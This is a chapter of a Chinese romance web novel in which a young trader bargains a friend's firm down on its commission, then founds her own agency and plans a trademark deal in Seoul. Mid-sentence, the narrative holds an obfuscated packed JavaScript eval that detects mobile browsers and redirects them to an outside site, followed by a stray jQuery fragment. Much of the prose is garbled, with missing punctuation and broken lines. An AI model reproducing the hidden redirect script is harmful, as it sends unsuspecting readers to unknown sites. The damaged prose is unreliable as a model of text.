明汐轻轻“噢”了一声,脸上露出愿闻其详的神情。


    梁见铖给助理Mark递了个眼神，Mark立刻领会到老板是在暗示他离开。尽管心里十分好奇自家精明能干的老板将如何说服明小姐，但他还是默默退出总经理办公室,并轻轻带上了门。


    Mark一出来,与他关系最为要好的林寒立马从工位上站起身，满脸关切地凑过来问：“怎么,明汐也要来我们星海上班了吗？”


    Mark的嘴巴向来严实又松口,说：“应该不会吧，梁总好像没有要招明小姐进来的意思。”


    林寒颇为失望，对着紧闭的门直摇头叹气：“梁总真是没眼光！”


    Mark觉得林寒才是没有一点眼色，“明小姐和梁总应该是有其他合作要谈。”Mark又透露了一点消息。


    林寒没心眼，但脑子不笨，如果梁总和明汐不是谈入职的事情，那唯一的可能就是明汐打算单干，找星海谈挂靠合作。要是这样的话，作为朋友，他都得劝明汐千万不要选择星海啊！


    即便星海是他所在的公司，他也真心觉得明汐千万不要选星海！！！


    不是星海不好,没有信誉,而是星海收取的佣金实在太高了！最关键问题,他家梁总在佣金收取比例上，基本不会轻易降低。


    一方面，星海不依赖挂靠佣金这块业务赚钱；另一方面,明汐找梁总亲自谈合作，实在是找错人了。要知道，梁总在业内可是出了名的谈判高手，尤其是在价格方面,咬得那叫一个紧，一般人根本谈不下来。


    外贸代理这个事，挂靠说白了就是“借船出海”，这在行业内是一种常见的合作模式。当下也不是随便一家公司都能获得进出口权限，想要做这个生意只能通过挂靠。然而，外贸生意的付款流程相对复杂，会涉及境外汇款信用证开证，包括后续的报关退税等环节。所以，虽然订单生意是代理公司的，但整个过程中的货款事宜都由星海来处理。


    这中间存在风险的当然不是星海，而是代理公司要有所考量……之前就有一家外贸公司拿着代理公司的货款跑路了。


    此外，代理公司还得提防外贸公司抢走自己的客户。


    星海在业内的信誉是毋庸置疑的，即便如此，还是会存在一些琐碎牵扯。正因如此，梁总不太愿意接受代理公司挂靠。尽管对外贸公司来说，也是一件躺着


    就能赚钱的事。


    归根结底，还是他们梁总不太瞧得上这点“苍蝇腿”似的挂靠收益。所以在整个业内，星海的挂靠费用是按照出口金额的3％收取，楼下海鸥对外宣称是2％，实际上能谈下来的价格大概在1.2％到1.5％之间。


    所以……明汐除非是真的想给梁总送钱，不然真没必要选择星海。


    以上这些就是林寒的想法。作为明汐的朋友，他真心希望明汐只是来星海喝杯免费咖啡，喝完就赶紧离开，千万别被他们老板给忽悠了。


    他们梁总长得帅，说话又慢条斯理、逻辑严谨，特别有范儿，和他谈判的感觉，就像走进奢侈品店一样，容易让人脑子一热，花大价钱买个中看不中用的东西。


    咳……当然，他们梁总也是中用的！


    ……


    和外面林寒的想法几乎一模一样。


    当梁见铖把星海对代理公司的责任和义务详细阐述了一遍，明汐仍然只有一个想法：梁见铖说了这么多，核心意思就是：虽然他很贵，但他很好用……


    噢，不对……是星海的服务很好用。


    明汐当然清楚，她要找的是一家信誉度极高的公司，所以她首先考虑的就是星海。无论是从业内的口碑，还是对老板梁见铖了解来看，星海都是她当前最佳选择。


    她认可的，做生意的确要为了信任值花点钱，只是，这份信任是不是略微昂贵了些？


    她在这个行业也不是一个新人了，对当下挂靠佣金的行情也是有数的。梁见铖怎么能给她开那么高的价格？这不是让她打退堂鼓么，不仅没有朋友情分，甚至还有一点嚣张……


    当然，价格还没谈呢，她也不着急。明汐轻轻摩挲着咖啡杯，偶尔抬抬眼，纯纯用若有所思的目光望向梁见铖。


    同样，梁见铖也是耐心十足地等待着她的回应。


    “明汐，你创业首要考虑不应是利润，而是风险控制。很多外贸公司在挂靠佣金上的收费确实比星海低，却在后续退税之后，再收取一道分成费用。星海不会这样，星海的税务和外汇管理体系在行业内是最规范，也是最透明的。”


    “喔。”明汐点了下头，放下了咖啡杯。


    看来梁见铖对他这个价格自认非常公道，非常理直气壮呢。


    自然，星海的所有优势她都了解，不然她也不会跟他上楼了。但即便她认定了星海，该讨价还价还是得讨价还


    价。要谈价格打打感情牌自然也是少不了的。


    “梁总这个3％的佣金还有商量的余地吗？”明汐还是围绕这关键的地方大方问出来。


    只问价格是因为合同的其他条款她都觉得没问题包括梁见铖提出签订的《资金监管协议》完全打消了她在资金风险上的顾虑。


    梁见铖态度不变目光清澈明亮：“明总这个价格并非针对你一人是星海对外的报价一直都是如此。”


    噢是吗？


    所以她在他这里也没有任何不同对吗？


    “梁总说笑了我和梁总关系这么好梁总怎么会故意针对我呢。只是我突然有点伤心了……”明汐拿起合同看了一眼微微凝了一下神随即将合同遗憾放下；抬起头黑白分明的大眼睛直直地盯着梁见铖轻轻叹了口气“是我自作多情了吗？我一直以为以我们的关系梁总会在代理费佣金上多少给我一些照顾呢。”


    呵……


    明汐轻轻松松的两句话简单地让梁见铖觉得这场谈判有点难以继续下去了。他嘴角微微上扬迷人的笑意映在睫毛上抱歉又温和解释说：“怎么会没有照顾呢？虽然佣金价格对外是一样的但明汐你仔细看看合同。我相信你也看过海鸥的代理合同外贸公司垫付退税款的月息以及信用开证的银行手续费我都没有额外收取。”


    明汐还是摇了摇头更加直白地索取情分她甚至不叫梁总而称呼其名了：“梁见铖我觉得这只是你对普通朋友的照顾而不是对我。”


    梁见铖语气轻柔而坚定然后毫不留情回绝：“明汐感情归感情生意归生意这是两码事。”


    “梁见铖你这话就是在搪塞我！”明汐毫不客气地瞥了对面人一眼直接戳破了他的官方说辞。


    “我……”哪有。


    “你现在是公事公办么我可不信你谈合同真一点人情都不讲么骗小孩吧！你知道江流大道吧？他也是做外贸的也是我的好朋友他都说在人情和利益发生冲突在利益浮动不大的情况下他一定会优先考虑人情的——”


    后面一句话明汐几乎一字一顿冒出来。


    梁见铖直接语塞：“……”


    “我满怀期待跟你上楼来结果看到这个合同


    才是有气魄有温度的君子。梁总你呢明知道我创业不易还收取比行业高两个点的佣金你对我这个好朋友……真是一点人情都没有呢!”


    “……”


    梁见铖完全被击退了保持笑意却也整个人妥协地往沙发上一靠。


    明汐觉得还不够呢她还有非常好用的一招她不介意为了自己利益拿出来用一用。


    “梁总不给我打个友情折扣想必还是我在梁总这里人情不够吧！如果这样我只能去求教授帮忙说说情了。不知道梁总会不会看在教授的面上多给一点实惠呢？”


    梁见铖：……


    幸好现在Mark不在。要是他在可能就会看到他被明小姐的言辞逼得溃不成军几乎举手投降了。


    “梁总我给教授打电话了噢？可以吗？”明汐拿起手机无耻又可爱地朝梁见铖询问一下。做业务的人为了订单可以不择手段；谈合作必然要为了利益无所不用其极。


    梁见铖缓缓低下头忍不住笑了出来。


    明汐一会儿伤心嗔怪一会儿笑意试探。


    他终于明白千万不要和喜欢的女孩子谈合作因为这注定是一桩赔本买卖。好在他也是个注重风险控制的人会谨慎挑选合作方。


    “你想要多少点的佣金？”梁见铖停止了这个谈判游戏主动问明汐。


    明汐朝梁见铖伸出两根手指


    合作嘛就是要相互拿出诚意对吧！


    梁见铖点了点头表示理解。


    他起身走到办公桌前打开抽屉拿出另一封全新的合同递了过去：“刚刚那份是模板合同这才是为明总最新拟定的合同请明总再审核一遍。”


    明汐有些惊讶立马咧嘴笑了：“……梁见铖您这是故意的？”


    然后她迅速翻开新合同直接看到了最关键的佣金价格信息不是百分之3而是百分之1。厚颜无耻的脸又瞬间红了起来就像收到了一份惊喜礼物她喜上眉梢说：“梁总你给我这个价格我可不会客气真的会签下来的噢。”


    “无需客气。”梁见铖扬了下手重新坐下“反正我都是躺着赚这个钱我相信明总的实力就算是1个点的佣金也一样会给星海给我个人带来不小的惊喜。”


    明汐：“……”


    所以梁见铖前面是故意拿假合同忽悠她喽！


    当然不是因为那也不是假合同而是之前其他代理公司的模板合同。梁见铖还是那句话万事好商量能达成这次合作才是最重要的。


    “梁见铖你为什么不直接拿出这份合同呢……”就算十分相信这个人明汐还是保持谨慎再次仔细翻阅新合同。


    “谈合作最大的诚意永远要放在最后不是么？我作为甲方也要看看明总的诚意看看明总是不是真的有意选择星海。如果明总只是随便问个价把星海当作比较对象转头就选了其他公司那我就算拿出最大的诚意也很难真正得到明总的青睐的。”


    梁见铖大大方方地说出了自己的考虑还顺便打趣了她一句。


    明汐抿了抿嘴唇只能真诚感谢：“谢谢梁总谢谢给我这个人情价。”


    “不客气。”梁见铖心情格外愉快“价格虽然降低了但服务质量不会变。既然明总选择星海作为代理以后有任何问题星海都会全力帮忙解决。你可以联系星海当然也可以直接联系我。”


    既然给了这个人情梁见铖不介意在这份人情中再夹带些其他情意。反正对他来说这也没什么太大区别。


    明汐握着这份新合同提议：“我请梁总吃个午饭吧？”


    梁见铖笑着拒绝：“还是我请明总吧。以后可是明总给星海赚钱今天理所当然该我请客。”


    午饭定在了附近的和悦餐厅。


    餐桌上明汐毫不掩饰地问梁见铖：“梁见铖你给我这么大的人情是出于私情考虑吗？”


    有人还真是得寸进尺梁见铖无奈表示：“明汐可能你对我还不够了解


    “是看在教授的面子上对不对！”明汐笑容更盛越发得寸进尺小声又故意问“梁见铖你是不是怕我跟教授说你又从我这儿赚钱教授会骂你呀！”


    梁见铖也学着她小声接话：“对啊所以你会跟那个教授说吗？我很怕他的……”


    明汐笑得很开心：“会啊……我什么都会说的……我会好好跟教授说梁总真的是一个好厉害的大老板……”


    梁见铖：“……喔！”


    此刻的他，幼稚又陌生，却无比愉快。


    梁见铖嘴角微微上扬，看着明汐充满信心无比美好的样子，不禁想起第一次在宜城父亲教授宿舍见到她的样子：那时的她，轻盈短发，目光倔强，笑容讨好。


    而现在的她，卷发披肩，目光明亮自信，笑容迷人。


    如果那时的他提前知道自己现在会如此喜欢这个女孩，那天开门时，他一定会多露出一点笑容来，会以更愉快的心情面对她。可惜，那天他正打算在老梁的地方休息，却被她的敲门声吵醒，开门时，尽管尽力克制，还是流露出想要礼貌赶人的态度。


    “明汐，你第一次见我是什么感觉？”午餐快结束时，梁见铖问出了这个问题。


    明汐稍稍回忆了一下，她和梁见铖认识差不多一年半了，第一次见面就是她去送礼的那次吧。


    “很帅呀。”明汐托住半张脸，细细打量着眼前的梁见铖。不得不承认，就算现在的梁见铖也很帅，但1999年隆冬见到的他，好像比现在还帅。


    为什么会有这样的感觉呢。


    因为当时的她还没见过什么世面，第一次见到像电影里走出来的帅哥，简直是惊为天人。


    现在嘛……


    她眼光依旧，但眼界开阔了许多。天地良心，她绝不是眼光高到看不上梁见铖，只是如果以前的她只能仰望他，现在的她，已经可以把目光越过梁见铖的头顶，也想看看他头顶的那片天空。


    他站在那里，她也站在这里，她的目光依然会被他吸引，但她的心却是自由的。


    她可以自由地看着他，也可以自由地看向任何她想去的地方。


    这种感觉真的很美好，就好像她拥有了一个属于自己的明亮宇宙，而他只是她宇宙中的一片星海。


    趁着机会，明汐把自己代理服务公司的名称告诉了梁见铖。


    梁见铖听后，唯有感慨：如果公司名字能预示发展潜力，以后明总的公司一定比星海更厉害。


    因为他的公司叫星海，而她的公司叫“明宙”。


    明亮宇宙中的一片星海，即便星海再广阔无垠，也只是她宇宙中的一部分。而她，才是他心中永远明亮的宇宙。


    梁见铖的笑容挂在唇角，就在他准备说出自己的理解，明汐有些苦恼地说：“我前几天去注册商标，本来想叫‘明昼’，昼夜的昼，结果发现这个商标已经被注册了。然后我灵机一动，想出了‘明


    宙’，这不是比‘明昼’更好吗？明亮的宇宙，听起来就气势磅礴，前程**……是不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465250|158376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是，梁总？


    何止是前程**，这个名字还正好击中了他的心意。


    “简直完美，祝贺明总。


    明汐歪着头：“梁总，你不会生气吧？


    “我为什么会生气？梁见铖不解发问。


    明汐不好意思地低了低眼光，也不藏着掩着，厚颜无耻把梦想说出来：“梁见铖，你难道没发现嘛？我叫明宙——就是想着有一天我的公司可以超越星海呢……


    噢噢噢，原来是这样啊。


    他还以为这个名字有什么隐晦的情感含义呢，是他自作多情了。


    “我不生气，我很期待那一天的到来。


    梁见铖握着手中的杯子，像个绅士又自信的年轻资本家，对着明汐这位想要超越自己的合作伙伴兼竞争对手，他不仅送上了最大祝福，也给她最大期待。


    “拭目以待，明汐。


    “好呢，梁见铖。


    五月中旬，明汐的“明宙代理服务公司的各项流程基本都办妥了。为了控制创业成本，公司注册地址选在了海港一个新开发的创业园区，而办公地点就是她现在租住的复古公寓。因为她平时的工作主要是联络客户、挖掘客户以及跑工厂研究货品，大多数时候，只要有一台电脑就足够了。


    不过，她还是添置了传真机、打印机，以及一张适合长期办公的转椅。


    对于她这样的办公方式，彩妮提出一点困惑。


    明汐用英文解释，她这种上班方式可以称为“SmallOffice&HomeOffice


    彩妮一时羡慕极了，她理解的居家办公是不是可以想几点起床就几点起床，想提早下班就提早下班呢？


    然而，彩妮还没羡慕一天，就发现明汐这个SOHO人士比她这个商场销售员还要忙。仍然每天比她更早起床，更晚结束工作，一天24小时，有一半的时间还得自费跑工厂，整个工作节奏，比之前在海鸥上班时还要辛苦。


    那是当然，自己创业风险不小，自然要充满斗志和决心——


    明汐几乎把手上的钱都投入到了创业里。当下互联网广告尚未全普及，企业的产品推广还依托传统媒体，比报纸杂志电视等进行宣传，这些宣传费用太高，明汐暂时不予考虑。


    她要单干的事情，季润


    泽在北京知道后，给她提供了很多国外可以免费发广告的论坛，比如早期的eBay社区，或ThomasNet……


    明汐花了两千大洋，在外贸黄页（一个专门为从事进出口外贸企业提供信息发布的平台）上买了一个名录，刊登了她的公司名字。也不知道有没有效果，结果真的有海外客户通过黄页上的名录联系到她……


    现在传统外贸公司，更多是通过参展方式获得客户，她不考虑参展的原因只有一个，没钱。


    当下国内展会如广交会，就算位置一般的摊位费也要三万块。


    所以，趁着国际互联网普及率还不高，明汐选择通过这种大海捞针的方式寻找客户。即使相对困难，或许也是抢占先机。


    对了，她主营的产品是什么呢？自然是基于她手头现有的资源来确定。目前，她有资源优势的产品主要有两类：第一类是通过德子和俊俊等哥们提供的纺织品；第二类则是她一直想要坚持做下去的小百货家电。


    回想在贺总和黄总分公司的那段时间，她在工厂里待了整整三个月。


    一切仿佛都是命运精心安排的巧妙铺垫。现在的她，有资源有经验，语言交流也越发流畅自如，她的客户一定会重新回到她的手中，因为毋庸置疑而不需要着急。


    天下熙熙，皆为利来。


    明汐想把这句话改了改，人生尔尔不过如此，但订单和发财会无比明确地照耀她想要走的这条路。


    心态好像真的会影响运气。自从单干之后，明汐愈发觉得自己不适合给他人打工，尤其是给男人打工。短短三个月的时间，她原本以为会把手上存款亏得所剩无几，结果却出乎她的意料。


    三个月后，她收到了星海外贸汇过来的第一笔货款。


    在扣除成本以及各种杂七杂八的支出后，她仔细盘算了一下收益——


    她竟然赚了十万！


    拿到这笔钱的那一刻，明汐第一个就是给梁见铖打电话，客套又真诚感谢一下。


    “梁见铖……我收到货款了。谢谢梁大老板……谢谢星海。”她的口气简直乐不可支。


    按照合同约定，货款应在收到后的三个工作日内打过来，没想到星海的速度如此之快，仅仅一个工作日就把钱打给了她。现在看来，她交的那一个点的佣金，还是很值得的。


    “是星海要谢谢明总才是……我要去趟广州，刚刚准备登机。”梁见铖


    在机场接听了她的电话不仅没有居功反而对她这个合作伙伴表达了感谢。


    明汐知道梁见铖去广东是为了参展她今年没有实力参加秋季展争取明年的春季展能够参加吧。


    “噢……我下周也要飞韩国。”她也向梁见铖分享了自己的行程。


    “谈订单吗？”梁见铖问。


    “不是订单是关于一个商标使用权的事。”明汐不介意向梁见铖透露一些商业机密。


    “好的提前祝明总一切顺利。”


    “梁总也是一切顺利。”


    明汐站在复古公寓露台挂断了手机。又正值入秋时节一阵从巷尾卷来的高空晨风轻轻吹动着她的秀发也拂动着她的衣角。


    心中突然思绪万千。


    如果说之前她对梁见铖仅仅是心动现在的感情已经十分明确她也很喜欢他。然而他们目前仍然只是以好朋友的方式相处是她胆怯了吗？当然不是。


    只是在当下她还无法确定这份对梁见铖的喜欢能够持续多久。男女之间的喜爱就如同流动的光影明亮而闪烁虽然能令人着迷却也会在不经意间从屋檐滑落越过窗台最终消逝在街边的角落。


    这份感情如同上帝赐予的爱和机遇固然让人感动和欣喜但它却始终无法像钞票一样适合被紧紧攥在手中。唯有对自己的心意她要如同身处的这座百年建筑一般屹然而坚定。


    正因为充满了无限的斗志即便面临着不小的风险四月决定离职的时候她和德子经过一番仔细的盘算还是一起拿下了那三个货柜的韩货。汉城的罗女士之前未能达成合作在她单干罗女士却给了她一个开门红。


    那三个货柜的韩国货品品质极佳德子实在舍不得通过分销渠道销售。因此她和德子打算再飞一趟汉城亲自与本杰明商谈争取买断他公司旗下服装商标在中国的使用权。


    从罗女士那里得知本杰明正面临着严峻资金链问题。她能给出的价格对于本杰明来说或许微不足道根本无法解决他当前的困境但她亲自去谈也不是去送钱而是送去希望。


    虽说远水难解近渴但中国市场如此广阔且未来还会不断发展壮大。如果一个品牌能够在中国市场站稳脚跟本杰明以最便宜的价格将商标使用权出售给她对她而言